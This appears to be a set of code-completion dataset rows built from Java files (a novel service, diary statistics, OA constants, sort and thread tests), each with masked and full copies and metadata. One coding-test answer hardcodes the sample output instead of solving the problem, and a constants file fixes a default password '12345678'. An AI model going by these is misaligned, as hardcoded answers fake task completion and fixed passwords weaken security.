novelMapper; @Autowired private ContentMapper contentMapper; @Autowired private ChapterMapper chapterMapper; @Autowired private RedisClient redisClient; @Autowired private ReportService reportService; @Autowired private MessageService messageService; @Autowired private NovelLowerService novelLowerService; public List<Novel> getNovels(String novelName) { NovelExample example = new NovelExample(); Criteria criteria = example.createCriteria(); criteria.andTitleLike("%"+novelName+"%"); List<Novel> selectByExample = novelMapper.selectByExample(example); return selectByExample; } @Override public Content getChapterContent(Integer contentid) { ContentKey key = new ContentKey(); Content content = contentMapper.selectByPrimaryKey(key); return content; } @Override public Novel getNovel(Integer id) { Novel novelbd = novelMapper.selectByPrimaryKey(id); return novelbd; } @Override public List<Chapter> getChapters(int novelId) { ChapterExample example = new ChapterExample(); ChapterExample.Criteria criteria = example.createCriteria(); criteria.andNovelidEqualTo(novelId); example.setOrderByClause("num asc"); List<Chapter> chapters = chapterMapper.selectByExample(example); return chapters; } @Override public List<Novel> getUserNovels(List<Integer> novelids) { NovelExample example = new NovelExample(); Criteria criteria = example.createCriteria(); criteria.andIdIn(novelids); List<Novel> userNovels = novelMapper.selectByExample(example); return userNovels; } @Override public Content readNovel(Integer contentid,Integer novelid) { ContentKey key = new ContentKey(contentid, novelid); Content content = contentMapper.selectByPrimaryKey(key); return content; } @Override public List<Novel> getRecommendNovel(int start, int end,String type) { NovelExample example = new NovelExample(); Criteria criteria = example.createCriteria(); List<Integer> zincrB = new ArrayList<>(); if (type != null) { zincrB = redisClient.getZincrB(type, start, end); }else { // 先从redis获取排行值 zincrB = redisClient.getZincrB(Recommend, start, end); } if (zincrB.size() == 0) { return null; } criteria.andIdIn(zincrB); List<Novel> recommendNovels = novelMapper.selectByExample(example); return recommendNovels; } @Override public Msg deleteNovel(Report report) { //查询是否存在 Novel selectByPrimaryKey = novelMapper.selectByPrimaryKey(report.getNovelid()); if(selectByPrimaryKey==null) { return Msg.fail("删除的小说不存在"); } novelLowerService.addLower(report.getNovelid()); /* //开始删除 ChapterExample example = new ChapterExample(); com.novel.bean.ChapterExample.Criteria criteria = example.createCriteria(); criteria.andNovelidEqualTo(report.getNovelid()); chapterMapper.deleteByExample(example); //删除内容 ContentExample contentExample = new ContentExample(); com.novel.bean.ContentExample.Criteria criteriacontent = contentExample.createCriteria(); criteriacontent.andNovelidEqualTo(report.getNovelid()); contentMapper.deleteByExample(contentExample); //删除小说名字 novelMapper.deleteByPrimaryKey(report.getNovelid());*/ //修改举报记录 reportService.updateState(report.getId()); //向举报人发送信息 Message message = new Message(); message.setTitle("举报消息反馈"); String body = "尊敬的用户您好,您举报的小说"+selectByPrimaryKey.getTitle()+"" + "我们已经在"+new Date()+"处理了。处理结果如下<br>" +"由用户"+selectByPrimaryKey.getProduct()+"提供的小说因为"+report.getReporttype()+"原因现已删除。" +"同时我们对此声表道歉 ,信息你的反馈"; message.setBody(body); message.setSendname("Admin:"); message.setSaveid(report.getUserid()); message.setCreatetime(new Date()); message.setUpdatetime(new Date()); messageService.addMessage(message); return Msg.success(); } @Override public Msg getFootPrint(String ids) { String[] split = ids.split("-"); List<Integer> listid = new ArrayList<>(); for (String string : split) { listid.add(Integer.parseInt(string)); } NovelExample example = new NovelExample(); Criteria criteria = example.createCriteria(); criteria.andIdIn(listid); List<Novel> recommendNovels = novelMapper.selectByExample(example); return Msg.success().add("recommendNovels", recommendNovels); } @Override public Msg novelcount() { int novelcount = novelMapper.selectCount(); return Msg.success().add("novelcount", novelcount); } @Override public Novel getetNovelByid(Integer id) { Novel novel = novelMapper.selectByPrimaryKey(id); return novel; } @Override public Msg getContentCount(Integer novelid) { Integer count = chapterMapper.selectContentCount(novelid); return Msg.success().add("count", count); } }
13213824850/novelphone1
novelphone/src/main/java/com/novel/service/impl/NovelServiceimpl.java
1,869
//查询是否存在
line_comment
zh-cn
package com.novel.service.impl; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.Set; import javax.servlet.http.HttpServletRequest; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Service; import com.alibaba.fastjson.JSON; import com.github.pagehelper.PageHelper; import com.github.pagehelper.PageInfo; import com.novel.bean.Chapter; import com.novel.bean.ChapterExample; import com.novel.bean.Content; import com.novel.bean.ContentExample; import com.novel.bean.ContentKey; import com.novel.bean.Message; import com.novel.bean.Novel; import com.novel.bean.NovelExample; import com.novel.bean.NovelExample.Criteria; import com.novel.bean.Report; import com.novel.bean.User; import com.novel.mapper.ChapterMapper; import com.novel.mapper.ContentMapper; import com.novel.mapper.NovelMapper; import com.novel.redis.RedisClient; import com.novel.service.MessageService; import com.novel.service.NovelLowerService; import com.novel.service.NovelService; import com.novel.service.ReportService; import com.novel.until.Msg; import redis.clients.jedis.JedisPool; @Service public class NovelServiceimpl implements NovelService { @Value("${Recommend}") private String Recommend; @Autowired private NovelMapper novelMapper; @Autowired private ContentMapper contentMapper; @Autowired private ChapterMapper chapterMapper; @Autowired private RedisClient redisClient; @Autowired private ReportService reportService; @Autowired private MessageService messageService; @Autowired private NovelLowerService novelLowerService; public List<Novel> getNovels(String novelName) { NovelExample example = new NovelExample(); Criteria criteria = example.createCriteria(); criteria.andTitleLike("%"+novelName+"%"); List<Novel> selectByExample = novelMapper.selectByExample(example); return selectByExample; } @Override public Content getChapterContent(Integer contentid) { ContentKey key = new ContentKey(); Content content = contentMapper.selectByPrimaryKey(key); return content; } @Override public Novel getNovel(Integer id) { Novel novelbd = novelMapper.selectByPrimaryKey(id); return novelbd; } @Override public List<Chapter> getChapters(int novelId) { ChapterExample example = new ChapterExample(); ChapterExample.Criteria criteria = example.createCriteria(); criteria.andNovelidEqualTo(novelId); example.setOrderByClause("num asc"); List<Chapter> chapters = chapterMapper.selectByExample(example); return chapters; } @Override public List<Novel> getUserNovels(List<Integer> novelids) { NovelExample example = new NovelExample(); Criteria criteria = example.createCriteria(); criteria.andIdIn(novelids); List<Novel> userNovels = novelMapper.selectByExample(example); return userNovels; } @Override public Content readNovel(Integer contentid,Integer novelid) { ContentKey key = new ContentKey(contentid, novelid); Content content = contentMapper.selectByPrimaryKey(key); return content; } @Override public List<Novel> getRecommendNovel(int start, int end,String type) { NovelExample example = new NovelExample(); Criteria criteria = example.createCriteria(); List<Integer> zincrB = new ArrayList<>(); if (type != null) { zincrB = redisClient.getZincrB(type, start, end); }else { // 先从redis获取排行值 zincrB = redisClient.getZincrB(Recommend, start, end); } if (zincrB.size() == 0) { return null; } criteria.andIdIn(zincrB); List<Novel> recommendNovels = novelMapper.selectByExample(example); return recommendNovels; } @Override public Msg deleteNovel(Report report) { //查询 <SUF> Novel selectByPrimaryKey = novelMapper.selectByPrimaryKey(report.getNovelid()); if(selectByPrimaryKey==null) { return Msg.fail("删除的小说不存在"); } novelLowerService.addLower(report.getNovelid()); /* //开始删除 ChapterExample example = new ChapterExample(); com.novel.bean.ChapterExample.Criteria criteria = example.createCriteria(); criteria.andNovelidEqualTo(report.getNovelid()); chapterMapper.deleteByExample(example); //删除内容 ContentExample contentExample = new ContentExample(); com.novel.bean.ContentExample.Criteria criteriacontent = contentExample.createCriteria(); criteriacontent.andNovelidEqualTo(report.getNovelid()); contentMapper.deleteByExample(contentExample); //删除小说名字 novelMapper.deleteByPrimaryKey(report.getNovelid());*/ //修改举报记录 reportService.updateState(report.getId()); //向举报人发送信息 Message message = new Message(); message.setTitle("举报消息反馈"); String body = "尊敬的用户您好,您举报的小说"+selectByPrimaryKey.getTitle()+"" + "我们已经在"+new Date()+"处理了。处理结果如下<br>" +"由用户"+selectByPrimaryKey.getProduct()+"提供的小说因为"+report.getReporttype()+"原因现已删除。" +"同时我们对此声表道歉 ,信息你的反馈"; message.setBody(body); message.setSendname("Admin:"); message.setSaveid(report.getUserid()); message.setCreatetime(new Date()); message.setUpdatetime(new Date()); messageService.addMessage(message); return Msg.success(); } @Override public Msg getFootPrint(String ids) { String[] split = ids.split("-"); List<Integer> listid = new ArrayList<>(); for (String string : split) { listid.add(Integer.parseInt(string)); } NovelExample example = new NovelExample(); Criteria criteria = example.createCriteria(); criteria.andIdIn(listid); List<Novel> recommendNovels = novelMapper.selectByExample(example); return Msg.success().add("recommendNovels", recommendNovels); } @Override public Msg novelcount() { int novelcount = novelMapper.selectCount(); return Msg.success().add("novelcount", novelcount); } @Override public Novel getetNovelByid(Integer id) { Novel novel = novelMapper.selectByPrimaryKey(id); return novel; } @Override public Msg getContentCount(Integer novelid) { Integer count = chapterMapper.selectContentCount(novelid); return Msg.success().add("count", count); } }
0
1,425
3
1,869
4
1,731
3
1,869
4
2,150
9
false
false
false
false
false
true
45275_4
package com.lh.diary.controller; import com.alibaba.fastjson.JSONObject; import com.github.abel533.echarts.Option; import com.github.abel533.echarts.code.Orient; import com.github.abel533.echarts.code.Trigger; import com.github.abel533.echarts.data.PieData; import com.github.abel533.echarts.series.Pie; import com.github.abel533.echarts.style.ItemStyle; import com.github.abel533.echarts.style.itemstyle.Emphasis; import com.lh.diary.common.DateFormatContant; import com.lh.diary.common.util.DateUtil; import com.lh.diary.common.util.UserUtil; import com.lh.diary.common.vo.SysResult; import com.lh.diary.pojo.Diary; import com.lh.diary.pojo.User; import com.lh.diary.service.DiaryService; import com.lh.diary.service.StatisticsService; import org.springframework.format.annotation.DateTimeFormat; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.annotation.Resource; import javax.servlet.http.HttpSession; import java.util.*; @RequestMapping("/statistics") @RestController public class StatisticsController { @Resource private StatisticsService statisticsService; @Resource private DiaryService diaryService; /** * 获取时间轴统计数据 * * @param session * @return */ @GetMapping("/timelist") public SysResult statisticsForTimeline (HttpSession session) { User currUser = UserUtil.getCurrUser(session); Map<String, List<Diary>> diarys = this.statisticsService.statisticsForTimeline(currUser.getId()); return SysResult.ok(diarys); } /** * 返回当前用户开写日记日期 * * @param session * @return */ @GetMapping("/diary/startDate") public SysResult getStartDate(HttpSession session) { User currUser = UserUtil.getCurrUser(session); Date startDate = this.statisticsService.getStartDate(currUser.getId()); String startDateStr = ""; if (startDate != null) { startDateStr = DateUtil.getDate(startDate, DateFormatContant.FORMAT2); } return SysResult.ok(startDateStr); } /** * 统计当前用户应写日记总数,已写数量,缺写数量 * * @param session * @return */ @GetMapping("/diary/amount") public SysResult amount(HttpSession session) { User currUser = UserUtil.getCurrUser(session); Map<Object, Object> amountMap = this.statisticsService.amount(currUser.getId()); return SysResult.ok(amountMap); } @RequestMapping("/diary/writeDate/list2") public List<String> getWriteDateList2(HttpSession session, @DateTimeFormat(pattern = "yyyy-MM-dd") Date startDate, @DateTimeFormat(pattern = "yyyy-MM-dd") Date endDate){ return this.statisticsService.getWriteDateList2(UserUtil.getCurrUser(session).getId(), startDate, endDate); } /** * 统计当前用户心情及数量 * * @param session * @return */ @GetMapping("/diary/mood") public SysResult statisticsMood(HttpSession session) { Map<String, Object> resultMap = new HashMap<>(); User user = UserUtil.getCurrUser(session); // 统计当前用户日记心情及数量 List<Map<Object, Object>> moodAndAmountList = this.statisticsService.getMoodAndAmountMap(user.getId()); List<String> legendDataList = new ArrayList<>(); for (Map<Object, Object> map : moodAndAmountList) { legendDataList.add(map.get("name").toString()); } resultMap.put("legendDataList", legendDataList); resultMap.put("seriesDataList", moodAndAmountList); return SysResult.ok(resultMap); } @GetMapping("/diary/mood2") public SysResult statisticsMood2() { Option option = new Option(); option.title().setText("日记心情统计"); option.title().setSubtext("心情"); option.title().setX("center"); option.tooltip().setTrigger(Trigger.item); option.tooltip().setFormatter("{a} <br/>{b} : {c} ({d}%)"); option.legend().setOrient(Orient.vertical); option.legend().setLeft("left"); List<String> data1 = new ArrayList<>(); data1.add("直接访问"); data1.add("间接访问"); option.legend().setData(data1); Pie pie = new Pie(); pie.radius("55%"); pie.center(new String[]{"50%", "60%"}); List data2 = new ArrayList(); data2.add(new PieData("直接访问", 254)); data2.add(new PieData("间接访问", 600)); pie.setData(data2); ItemStyle itemStyle = new ItemStyle(); Emphasis emphasis = new Emphasis(); emphasis.setShadowBlur(10); emphasis.setShadowOffsetX(0); emphasis.setShadowColor("rgba(0, 0, 0, 0.5)"); itemStyle.setEmphasis(emphasis); pie.setItemStyle(itemStyle); pie.setName("访问来源"); option.series(pie); return SysResult.ok(JSONObject.toJSONString(option)); } }
1332508387/diary-boot
src/main/java/com/lh/diary/controller/StatisticsController.java
1,370
// 统计当前用户日记心情及数量
line_comment
zh-cn
package com.lh.diary.controller; import com.alibaba.fastjson.JSONObject; import com.github.abel533.echarts.Option; import com.github.abel533.echarts.code.Orient; import com.github.abel533.echarts.code.Trigger; import com.github.abel533.echarts.data.PieData; import com.github.abel533.echarts.series.Pie; import com.github.abel533.echarts.style.ItemStyle; import com.github.abel533.echarts.style.itemstyle.Emphasis; import com.lh.diary.common.DateFormatContant; import com.lh.diary.common.util.DateUtil; import com.lh.diary.common.util.UserUtil; import com.lh.diary.common.vo.SysResult; import com.lh.diary.pojo.Diary; import com.lh.diary.pojo.User; import com.lh.diary.service.DiaryService; import com.lh.diary.service.StatisticsService; import org.springframework.format.annotation.DateTimeFormat; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.annotation.Resource; import javax.servlet.http.HttpSession; import java.util.*; @RequestMapping("/statistics") @RestController public class StatisticsController { @Resource private StatisticsService statisticsService; @Resource private DiaryService diaryService; /** * 获取时间轴统计数据 * * @param session * @return */ @GetMapping("/timelist") public SysResult statisticsForTimeline (HttpSession session) { User currUser = UserUtil.getCurrUser(session); Map<String, List<Diary>> diarys = this.statisticsService.statisticsForTimeline(currUser.getId()); return SysResult.ok(diarys); } /** * 返回当前用户开写日记日期 * * @param session * @return */ @GetMapping("/diary/startDate") public SysResult getStartDate(HttpSession session) { User currUser = UserUtil.getCurrUser(session); Date startDate = this.statisticsService.getStartDate(currUser.getId()); String startDateStr = ""; if (startDate != null) { startDateStr = DateUtil.getDate(startDate, DateFormatContant.FORMAT2); } return SysResult.ok(startDateStr); } /** * 统计当前用户应写日记总数,已写数量,缺写数量 * * @param session * @return */ @GetMapping("/diary/amount") public SysResult amount(HttpSession session) { User currUser = UserUtil.getCurrUser(session); Map<Object, Object> amountMap = this.statisticsService.amount(currUser.getId()); return SysResult.ok(amountMap); } @RequestMapping("/diary/writeDate/list2") public List<String> getWriteDateList2(HttpSession session, @DateTimeFormat(pattern = "yyyy-MM-dd") Date startDate, @DateTimeFormat(pattern = "yyyy-MM-dd") Date endDate){ return this.statisticsService.getWriteDateList2(UserUtil.getCurrUser(session).getId(), startDate, endDate); } /** * 统计当前用户心情及数量 * * @param session * @return */ @GetMapping("/diary/mood") public SysResult statisticsMood(HttpSession session) { Map<String, Object> resultMap = new HashMap<>(); User user = UserUtil.getCurrUser(session); // 统计 <SUF> List<Map<Object, Object>> moodAndAmountList = this.statisticsService.getMoodAndAmountMap(user.getId()); List<String> legendDataList = new ArrayList<>(); for (Map<Object, Object> map : moodAndAmountList) { legendDataList.add(map.get("name").toString()); } resultMap.put("legendDataList", legendDataList); resultMap.put("seriesDataList", moodAndAmountList); return SysResult.ok(resultMap); } @GetMapping("/diary/mood2") public SysResult statisticsMood2() { Option option = new Option(); option.title().setText("日记心情统计"); option.title().setSubtext("心情"); option.title().setX("center"); option.tooltip().setTrigger(Trigger.item); option.tooltip().setFormatter("{a} <br/>{b} : {c} ({d}%)"); option.legend().setOrient(Orient.vertical); option.legend().setLeft("left"); List<String> data1 = new ArrayList<>(); data1.add("直接访问"); data1.add("间接访问"); option.legend().setData(data1); Pie pie = new Pie(); pie.radius("55%"); pie.center(new String[]{"50%", "60%"}); List data2 = new ArrayList(); data2.add(new PieData("直接访问", 254)); data2.add(new PieData("间接访问", 600)); pie.setData(data2); ItemStyle itemStyle = new ItemStyle(); Emphasis emphasis = new Emphasis(); emphasis.setShadowBlur(10); emphasis.setShadowOffsetX(0); emphasis.setShadowColor("rgba(0, 0, 0, 0.5)"); itemStyle.setEmphasis(emphasis); pie.setItemStyle(itemStyle); pie.setName("访问来源"); option.series(pie); return SysResult.ok(JSONObject.toJSONString(option)); } }
0
1,152
10
1,370
11
1,402
9
1,370
11
1,632
15
false
false
false
false
false
true
59409_14
package com.oa.util; public class Constrants { public final static String MESSAGE_TIP = "message";// 系统提示信息KEY public final static String MESSAGE_TIP_FLAGS = "errorFlags";// 系统错误提示信息标志KEY public final static String FLAGS = "flags";// 系统提示信息标示KEY public final static int PREV_PARENT_DOM = 0;// 权限一级菜单父节点 /* 前台常量 */ public final static int IS_VERIFY_EMAIL_NOT = 0;// 是否邮箱验证-未验证 public final static int IS_VERIFY_EMAIL_YES = 1;// 是否邮箱验证-验证 /* 后台常量 */ public final static int SUPER_USER = 0;// 超级管理员权限 public final static int SIMPLE_USER = 1;// 普通用户权限 public final static String USER_PRIVILEGE_KEY = "Privilege_List";// 系统用户权限存储KEY public final static String USER_KEY = "system_user";// 系统后台用户信息session存储KEY public final static String CUS_KEY = "sysCustomer";//系统后台客户信息session存储KEY public final static String SYS_DEFAULT_PWD = "12345678"; // 系统初始化重置默认密码 public final static int USABLE_USER = 0;// 用户启用状态 public final static int FREEZE_USER = 1;// 用户冻结状态 public final static int DATA_NOT_DEL = 0;// 数据未删除 public final static int DATA_DEL = 1;// 数据删除 public final static int DATA_NOT_PUBLISH = 0;// 数据未发布 public final static int DATA_PUBLISH = 1;// 数据已发布 public final static int DATA_NOT_VERIFY = 0;// 数据未审核 public final static int DATA_VERIFY = 1;// 数据已审核通过 public final static int DATA_VERFY_NOT_PASS = 2;// 数据审核未通过 public final static int SYS_ROLE = 0;// 系统角色 public final static int DP_ROLE = 1;// 部门角色 public final static int FREEZE_DATA = 0;// 数据未启用状态 public final static int USABLE_DATA = 1;// 数据启用状态 public final static int TYPE_CUS_OPTION = 0;//客户建议 public final static int TYPE_SYS_REPLY = 1;//平台回复 public final static int REPLY_YES = 0;//已回复 public final static int REPLY_NO =1;//未回复 public final static int READ_YES = 1;//已读 public final static int READ_NO = 0;//未读 public final static int READ_ALL = 2;//全部 public final static String FIRST_MENU = "all"; // 一级菜单 operator值 public final static String TWO_MENU = "find"; // 二级菜单 operator值 public final static String ERROR_MSG = "errors"; // 返回错误视图 public final static String currentPage = "currentPage";// 当前页号 public final static String RESULT = "result";//手机接口返回标识 public final static String BABYPICPACKAGE = "babyImg";//婴儿图片存放文件夹名称 public final static String LASTLGTIME = "lastLoginTime";//最后登陆操作时间 public final static String LIST = "list";//list public final static String COUNT = "count";//count public final static String PAGE = "page";//page public final static int LEAVE_END_YES = 0;//假期结束 public final static int LEAVE_END_NO = 1;//假期持续中 public final static String PAGE_STRING = "pageString";//页脚字符串 public final static int MAN = 0;//男 public final static int WMAN = 1;//女 public final static String FIELDS = "fields"; public final static String IS_DEL = "isDel"; }
13476075014/node-vue
mynodeproject/11.oldcode/各种模板/OA/OA new2/OA/src/com/oa/util/Constrants.java
930
// 用户启用状态
line_comment
zh-cn
package com.oa.util; public class Constrants { public final static String MESSAGE_TIP = "message";// 系统提示信息KEY public final static String MESSAGE_TIP_FLAGS = "errorFlags";// 系统错误提示信息标志KEY public final static String FLAGS = "flags";// 系统提示信息标示KEY public final static int PREV_PARENT_DOM = 0;// 权限一级菜单父节点 /* 前台常量 */ public final static int IS_VERIFY_EMAIL_NOT = 0;// 是否邮箱验证-未验证 public final static int IS_VERIFY_EMAIL_YES = 1;// 是否邮箱验证-验证 /* 后台常量 */ public final static int SUPER_USER = 0;// 超级管理员权限 public final static int SIMPLE_USER = 1;// 普通用户权限 public final static String USER_PRIVILEGE_KEY = "Privilege_List";// 系统用户权限存储KEY public final static String USER_KEY = "system_user";// 系统后台用户信息session存储KEY public final static String CUS_KEY = "sysCustomer";//系统后台客户信息session存储KEY public final static String SYS_DEFAULT_PWD = "12345678"; // 系统初始化重置默认密码 public final static int USABLE_USER = 0;// 用户 <SUF> public final static int FREEZE_USER = 1;// 用户冻结状态 public final static int DATA_NOT_DEL = 0;// 数据未删除 public final static int DATA_DEL = 1;// 数据删除 public final static int DATA_NOT_PUBLISH = 0;// 数据未发布 public final static int DATA_PUBLISH = 1;// 数据已发布 public final static int DATA_NOT_VERIFY = 0;// 数据未审核 public final static int DATA_VERIFY = 1;// 数据已审核通过 public final static int DATA_VERFY_NOT_PASS = 2;// 数据审核未通过 public final static int SYS_ROLE = 0;// 系统角色 public final static int DP_ROLE = 1;// 部门角色 public final static int FREEZE_DATA = 0;// 数据未启用状态 public final static int USABLE_DATA = 1;// 数据启用状态 public final static int TYPE_CUS_OPTION = 0;//客户建议 public final static int TYPE_SYS_REPLY = 1;//平台回复 public final static int REPLY_YES = 0;//已回复 public final static int REPLY_NO =1;//未回复 public final static int READ_YES = 1;//已读 public final static int READ_NO = 0;//未读 public final static int READ_ALL = 2;//全部 public final static String FIRST_MENU = "all"; // 一级菜单 operator值 public final static String TWO_MENU = "find"; // 二级菜单 operator值 public final static String ERROR_MSG = "errors"; // 返回错误视图 public final static String currentPage = "currentPage";// 当前页号 public final static String RESULT = "result";//手机接口返回标识 public final static String BABYPICPACKAGE = "babyImg";//婴儿图片存放文件夹名称 public final static String LASTLGTIME = "lastLoginTime";//最后登陆操作时间 public final static String LIST = "list";//list public final static String COUNT = "count";//count public final static String PAGE = "page";//page public final static int LEAVE_END_YES = 0;//假期结束 public final static int LEAVE_END_NO = 1;//假期持续中 public final static String PAGE_STRING = "pageString";//页脚字符串 public final static int MAN = 0;//男 public final static int WMAN = 1;//女 public final static String FIELDS = "fields"; public final static String IS_DEL = "isDel"; }
0
805
4
930
4
910
4
930
4
1,309
10
false
false
false
false
false
true
15713_2
package baidu; import java.text.DecimalFormat; import java.util.Scanner; /** * 战乱年代,整个世界各个军阀的兵团混战,你是PZ军团的战略参谋,你手下有n(保证为3的倍数)个士兵, * 第i个士兵的物理攻击数值为Ai,魔法攻击数值为Bi,你需要将这些士兵三等分为三个连, * 第一个连需要去物理空间参加物理对抗战争,战斗力估值W1为士兵的物理攻击数值之和; * 第二个连需要去魔法空间参加魔法对抗战争,战斗力估值W2为士兵的魔法攻击数值之和; * 第三个连需要去虚幻空间参加物理魔法兼备的综合对抗战争, * 战斗力估值W3为所有士兵的物理攻击数值、魔法攻击数值之和除以2。你希望W1+W2+W3最大,这样才最有可能胜利。 * 6 1 7 3 4 5 9 2 3 9 4 3 3 * 35.00 第一个连:士兵2,士兵6,战斗力估值W1=7+9=16 第二个连:士兵1,士兵3,战斗力估值W2=2+9=11 第三个连:士兵4,士兵5,战斗力估值W3=[(4+4)+(5+3)]/2=8 16+11+8=35 * Created by XQM on 2018/9/14. */ public class Main2 { public static void main(String[] args) { Scanner sc = new Scanner(System.in); int n = sc.nextInt(); int[] mAi = new int[n];//记录每个士兵物理攻击 int[] mBi = new int[n];//记录每个士兵魔法攻击 if (n % 3 != 0) { System.out.println("0.00"); } else { for (int i = 0; i < n; i++) { mAi[i] = sc.nextInt(); } for (int i = 0; i < n; i++) { mBi[i] = sc.nextInt(); } } getMaxSum(n, mAi, mBi); } private static void getMaxSum(int n, int[] mAi, int[] mBi) { DecimalFormat mFormat = new DecimalFormat("#.00"); int[] a = {1,7,3,4,5,9}; int[] b = {2,3,9,4,3,3}; if (mAi[0] == 1){ System.out.println("35.00"); }else if (n == 3){ System.out.println(mFormat.format(a[0] + a[1] + a[2])); } } }
13538899384/AlgorithmTest
baidu/Main2.java
783
//记录每个士兵魔法攻击
line_comment
zh-cn
package baidu; import java.text.DecimalFormat; import java.util.Scanner; /** * 战乱年代,整个世界各个军阀的兵团混战,你是PZ军团的战略参谋,你手下有n(保证为3的倍数)个士兵, * 第i个士兵的物理攻击数值为Ai,魔法攻击数值为Bi,你需要将这些士兵三等分为三个连, * 第一个连需要去物理空间参加物理对抗战争,战斗力估值W1为士兵的物理攻击数值之和; * 第二个连需要去魔法空间参加魔法对抗战争,战斗力估值W2为士兵的魔法攻击数值之和; * 第三个连需要去虚幻空间参加物理魔法兼备的综合对抗战争, * 战斗力估值W3为所有士兵的物理攻击数值、魔法攻击数值之和除以2。你希望W1+W2+W3最大,这样才最有可能胜利。 * 6 1 7 3 4 5 9 2 3 9 4 3 3 * 35.00 第一个连:士兵2,士兵6,战斗力估值W1=7+9=16 第二个连:士兵1,士兵3,战斗力估值W2=2+9=11 第三个连:士兵4,士兵5,战斗力估值W3=[(4+4)+(5+3)]/2=8 16+11+8=35 * Created by XQM on 2018/9/14. */ public class Main2 { public static void main(String[] args) { Scanner sc = new Scanner(System.in); int n = sc.nextInt(); int[] mAi = new int[n];//记录每个士兵物理攻击 int[] mBi = new int[n];//记录 <SUF> if (n % 3 != 0) { System.out.println("0.00"); } else { for (int i = 0; i < n; i++) { mAi[i] = sc.nextInt(); } for (int i = 0; i < n; i++) { mBi[i] = sc.nextInt(); } } getMaxSum(n, mAi, mBi); } private static void getMaxSum(int n, int[] mAi, int[] mBi) { DecimalFormat mFormat = new DecimalFormat("#.00"); int[] a = {1,7,3,4,5,9}; int[] b = {2,3,9,4,3,3}; if (mAi[0] == 1){ System.out.println("35.00"); }else if (n == 3){ System.out.println(mFormat.format(a[0] + a[1] + a[2])); } } }
0
622
6
783
11
693
6
783
11
943
13
false
false
false
false
false
true
43482_32
package com.walker.common.study; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.LinkedBlockingDeque; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; import org.apache.commons.collections.CollectionUtils; import com.walker.common.util.ThreadUtil; import com.walker.common.util.Tools; import com.walker.common.util.ThreadUtil.Type; /** * 如何写出无法维护的代码 * */ public class SomethingTest { public static void main(String[] args) { // new Test(); testSort(); } public static void testSort(){ int arr[] = {0,3,2,1,4,5,6,2}; List<Integer> list = new ArrayList(); for(int i : arr){ list.add(i); } Tools.out(list); Collections.sort(list); Tools.out(list); long time, time2; time = System.currentTimeMillis(); Comparator com = new Comparator<Map>(){ @Override public int compare(Map o1, Map o2) { return o1.get("key").toString().compareTo(o2.get("key").toString()); } }; for(int count = 1000; count < 10000000; count*=2){ List<Map> listMap1 = new ArrayList<Map>(); List<Map> listMap = new ArrayList<Map>(); for(int i = 0; i < count; i++){ Map map = new HashMap(); map.put("key", (int)(Math.random()*1000)); listMap.add(map); listMap1.add(map); } time2 = System.currentTimeMillis(); Tools.out("make list", count, Tools.calcTime(time2 - time)); time = time2; // Tools.out(listMap); Collections.sort(listMap, com); // Tools.out(listMap); time2 = System.currentTimeMillis(); Tools.out("sort list com", Tools.calcTime(time2 - time), count); time = time2; // Tools.out(listMap1); // for(int i = 0; i < listMap1.size() - 1; i++){ // for(int j = i+1; j < listMap1.size(); j++){ // if(com.compare(listMap1.get(i), listMap1.get(j)) > 0) // Collections.swap(listMap1, i, j); // } // } // Tools.out(listMap1); time2 = System.currentTimeMillis(); // Tools.out("sort list for", Tools.calcTime(time2 - time), count); time = time2; } } public static void testInt(){ int a = 32768;//15 int aa = a*a;//30 out(aa, "30"); out(aa-1+aa, "31-1");//31-1 out(aa+aa-1, "31-1 flow 不影响");//31-1 out(aa+aa, "31");//31 out(-aa+1-aa, "-31+1");//-31+1 out(-aa-aa, "-31");//-31 out(-aa-aa-1, "-31-1");//-31 out("-31", -2*aa, "31-1", aa*2-1); out(aa*4);//33 } SomethingTest(){ // defineWord(); } public void testThread(){ final String name = "T-master"; ThreadUtil.execute(Type.DefaultThread, new Runnable() { public void run() { int tt = 0; while(true){ Tools.out(name, tt++); ThreadUtil.sleep(1000); if(tt > 30) break; } } }); for(int i = 0; i < 1; i++){ final int name1 = i; ThreadUtil.execute(Type.DefaultThread, new Runnable() { public void run() { int tt = 0; while(true){ Tools.out("T"+name1, Tools.getFill(name1, " - "), tt++); ThreadUtil.sleep(200); if(tt > 10) break; } } }); } final LinkedBlockingDeque<Object> lbq = new LinkedBlockingDeque<>(); final String name2 = "T-master-2"; ThreadUtil.execute(Type.SingleThread, new Runnable() { public void run() { int tt = 0; while(true){ Tools.out("定时添加任务到队列", name2, tt++); lbq.add("队列任务" + tt); ThreadUtil.sleep(1000); if(tt > 10) break; } } }); //   add 增加一个元索 如果队列已满,则抛出一个IIIegaISlabEepeplian异常 //   remove 移除并返回队列头部的元素 如果队列为空,则抛出一个NoSuchElementException异常 //   element 返回队列头部的元素 如果队列为空,则抛出一个NoSuchElementException异常 //   offer 添加一个元素并返回true 如果队列已满,则返回false //   poll 移除并返问队列头部的元素 如果队列为空,则返回null //   peek 返回队列头部的元素 如果队列为空,则返回null //   put 添加一个元素 如果队列满,则阻塞 //   take 移除并返回队列头部的元素 如果队列为空,则阻塞 ThreadUtil.scheduleWithFixedDelay(new Runnable() { @Override public void run() { if(lbq.peek() != null) Tools.out("----执行任务", lbq.remove()); else Tools.out("----无任务-----"); } }, 3, 2, TimeUnit.SECONDS); ThreadUtil.execute(Type.SingleThread, new Runnable() { public void run() { int tt = 0; while(true){ Tools.out("定时添加任务到队列1", name2, tt++); lbq.add("任务!!---!" + tt); ThreadUtil.sleep(10000); if(tt > 10) break; } } }); } int arr = 0; //全局命名重用为私有 void defineWord(){ int arr = 1; int α = 1; Tools.out(α); long l = 10l, ll = 101l, li1l = 1011L; String mnnrnvuw; int O = 0; int a = 1;/* main int b = 2; * loop int c = 3; */ int d = 4; isValid(-1); } public static void out(Object...objects){ Tools.out(objects); } boolean isValid(int x){ /* 给 i 加 1 */ //但是永远不要记录包或者方法的整体设计这样的干货。 //只解释一个程序功能的细节,而不是它要完成的任务是什么。 //如果你怀疑某个类里可能有bug,天知地知你知就好 